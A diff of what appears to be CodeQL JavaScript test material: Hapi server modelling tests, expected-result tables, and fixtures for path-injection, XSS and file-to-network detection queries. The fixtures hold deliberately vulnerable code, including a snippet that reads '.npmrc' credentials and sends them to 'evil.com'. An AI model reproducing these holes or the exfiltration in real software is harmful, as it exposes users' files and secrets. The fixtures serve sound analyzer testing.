| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData |
|
||||
| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData |
|
||||
| paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x |
|
||||
| test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) |
|
||||
| test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) |
|
||||
|
||||
@@ -13,6 +13,8 @@ extensions:
|
||||
- ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source']
|
||||
- ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source']
|
||||
- ['danger-constant', 'Member[danger]', 'test-source']
|
||||
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source']
|
||||
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source']
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server
|
||||
|
||||
var Hapi = require('@hapi/hapi');
|
||||
var server2 = new Hapi.Server(); // HTTP::Server
|
||||
|
||||
function handler1(){} // HTTP::RouteHandler
|
||||
server2.route({
|
||||
handler: handler1
|
||||
});
|
||||
|
||||
|
||||
server2.route({
|
||||
handler: function handler2(request, reply){ // HTTP::RouteHandler
|
||||
request.response.header('HEADER1', '') // HTTP::HeaderDefinition
|
||||
}});
|
||||
|
||||
server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler
|
||||
})
|
||||
|
||||
function handler4(request, reply){
|
||||
request.rawPayload;
|
||||
request.payload.foo;
|
||||
request.query.bar;
|
||||
request.url.path;
|
||||
request.headers.baz;
|
||||
request.state.token;
|
||||
}
|
||||
var route = {handler: handler4};
|
||||
server2.route(route);
|
||||
|
||||
server2.cache({ segment: 'countries', expiresIn: 60*60*1000 });
|
||||
|
||||
function getHandler() {
|
||||
return function (req, h){}
|
||||
}
|
||||
server2.route({handler: getHandler()});
|
||||
@@ -9,6 +9,11 @@ test_RouteSetup
|
||||
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) |
|
||||
| src/hapiglue.js:31:1:31:20 | server2.route(route) |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) |
|
||||
test_RequestExpr
|
||||
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
@@ -38,12 +43,27 @@ test_RequestExpr
|
||||
| src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
|
||||
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
|
||||
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} |
|
||||
test_HeaderAccess
|
||||
| src/hapi.js:25:3:25:21 | request.headers.baz | baz |
|
||||
| src/hapiglue.js:27:3:27:21 | request.headers.baz | baz |
|
||||
| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz |
|
||||
test_ResponseExpr
|
||||
| src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
test_RouteHandler
|
||||
| src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -55,9 +75,15 @@ test_RouteHandler
|
||||
| src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_HeaderDefinition
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
test_ServerDefinition
|
||||
| src/hapi.js:1:15:1:44 | new (re ... erver() |
|
||||
| src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -65,6 +91,8 @@ test_ServerDefinition
|
||||
| src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:43:19:43:24 | server |
|
||||
| src/hapiglue.js:44:45:44:51 | server_ |
|
||||
| src/hapihapi.js:1:15:1:50 | new (re ... erver() |
|
||||
| src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_RequestInputAccess
|
||||
| src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
@@ -80,6 +108,12 @@ test_RequestInputAccess
|
||||
| src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
test_RouteSetup_getServer
|
||||
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -91,9 +125,15 @@ test_RouteSetup_getServer
|
||||
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_HeaderDefinition_defines
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
test_RouteSetup_getARouteHandler
|
||||
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} |
|
||||
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
@@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:38:25:38:36 | getHandler() |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() |
|
||||
test_RouteHandler_getARequestExpr
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
|
||||
@@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request |
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request |
|
||||
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:14:9:14:15 | request |
|
||||
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request |
|
||||
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req |
|
||||
test_HeaderDefinition_getAHeaderName
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
test_RouteHandler_getAResponseHeader
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') |
|
||||
| src/hapiglue.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') |
|
||||
|
||||
@@ -51,6 +51,7 @@
|
||||
| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
|
||||
| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
|
||||
| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
|
||||
| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value |
|
||||
| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
@@ -344,6 +345,8 @@ edges
|
||||
| handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance | |
|
||||
| handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance | |
|
||||
| handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | |
|
||||
| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | |
|
||||
| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | |
|
||||
@@ -821,6 +824,9 @@ nodes
|
||||
| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
|
||||
| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
|
||||
| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
|
||||
| hapi.js:14:19:14:51 | filepath | semmle.label | filepath |
|
||||
| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath |
|
||||
| hapi.js:15:44:15:51 | filepath | semmle.label | filepath |
|
||||
| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
|
||||
| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
|
||||
| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
const Hapi = require('@hapi/hapi');
|
||||
const fs = require('fs').promises;
|
||||
|
||||
(async () => {
|
||||
const server = Hapi.server({
|
||||
port: 3005,
|
||||
host: 'localhost'
|
||||
});
|
||||
|
||||
server.route({
|
||||
method: 'GET',
|
||||
path: '/hello',
|
||||
handler: async (request, h) => {
|
||||
const filepath = request.query.filepath; // $ Source
|
||||
const data = await fs.readFile(filepath, 'utf8'); // $ Alert
|
||||
const firstLine = data.split('\n')[0];
|
||||
return firstLine;
|
||||
}
|
||||
});
|
||||
|
||||
await server.start();
|
||||
})();
|
||||
@@ -1,4 +1,5 @@
|
||||
#select
|
||||
| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value |
|
||||
| test.jsx:27:29:27:32 | data | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:27:29:27:32 | data | Cross-site scripting vulnerability due to $@. | test.jsx:5:28:5:63 | fetch(" ... ntent") | user-provided value |
|
||||
| test.ts:21:57:21:76 | response.description | test.ts:8:9:8:79 | this.#h ... query') | test.ts:21:57:21:76 | response.description | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
|
||||
| test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | test.ts:8:9:8:79 | this.#h ... query') | test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
|
||||
@@ -18,6 +19,9 @@
|
||||
| testUseQueries2.vue:40:10:40:23 | v-html=data3 | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | testUseQueries2.vue:40:10:40:23 | v-html=data3 | Cross-site scripting vulnerability due to $@. | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | user-provided value |
|
||||
| testUseQueries.vue:25:10:25:23 | v-html=data2 | testUseQueries.vue:11:36:11:49 | fetch("${id}") | testUseQueries.vue:25:10:25:23 | v-html=data2 | Cross-site scripting vulnerability due to $@. | testUseQueries.vue:11:36:11:49 | fetch("${id}") | user-provided value |
|
||||
edges
|
||||
| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | |
|
||||
| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | |
|
||||
| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | |
|
||||
| test.jsx:5:11:5:63 | response | test.jsx:6:24:6:31 | response | provenance | |
|
||||
| test.jsx:5:22:5:63 | await f ... ntent") | test.jsx:5:11:5:63 | response | provenance | |
|
||||
| test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:5:22:5:63 | await f ... ntent") | provenance | |
|
||||
@@ -96,6 +100,10 @@ edges
|
||||
| testUseQueries.vue:12:20:12:34 | response.json() | testUseQueries.vue:18:22:18:36 | results[0].data | provenance | |
|
||||
| testUseQueries.vue:18:22:18:36 | results[0].data | testUseQueries.vue:25:10:25:23 | v-html=data2 | provenance | |
|
||||
nodes
|
||||
| interceptors.js:7:6:7:13 | response | semmle.label | response |
|
||||
| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml |
|
||||
| interceptors.js:8:35:8:42 | response | semmle.label | response |
|
||||
| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml |
|
||||
| test.jsx:5:11:5:63 | response | semmle.label | response |
|
||||
| test.jsx:5:22:5:63 | await f ... ntent") | semmle.label | await f ... ntent") |
|
||||
| test.jsx:5:28:5:63 | fetch(" ... ntent") | semmle.label | fetch(" ... ntent") |
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
const express = require("express");
|
||||
const axios = require("axios");
|
||||
|
||||
const app = express();
|
||||
|
||||
axios.interceptors.response.use(
|
||||
(response) => { // $ Source
|
||||
const userGeneratedHtml = response.data;
|
||||
document.getElementById("content").innerHTML = userGeneratedHtml; // $ Alert
|
||||
return response;
|
||||
},
|
||||
(error) => {
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
app.post("/fetch", (req, res) => {
|
||||
const { url } = req.body;
|
||||
axios.get(url);
|
||||
});
|
||||
@@ -1,5 +1,6 @@
|
||||
#select
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
|
||||
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
|
||||
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
|
||||
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
|
||||
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
|
||||
@@ -13,6 +14,10 @@ edges
|
||||
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance | |
|
||||
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | provenance | |
|
||||
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance | |
|
||||
| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance | |
|
||||
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
|
||||
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
|
||||
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
|
||||
@@ -64,6 +69,11 @@ nodes
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | semmle.label | {\\n hos ... ent }\\n} |
|
||||
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
|
||||
| FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content |
|
||||
| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content |
|
||||
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") |
|
||||
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
|
||||
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
|
||||
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
|
||||
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
|
||||
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |
|
||||
|
||||
@@ -8,3 +8,21 @@ https.get({
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
|
||||
const fsp = require("fs").promises;
|
||||
|
||||
(async function sendRequest() {
|
||||
try {
|
||||
const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
|
||||
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
|
||||
} catch (error) {
|
||||
console.error("Error reading file:", error);
|
||||
}
|
||||
})();
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user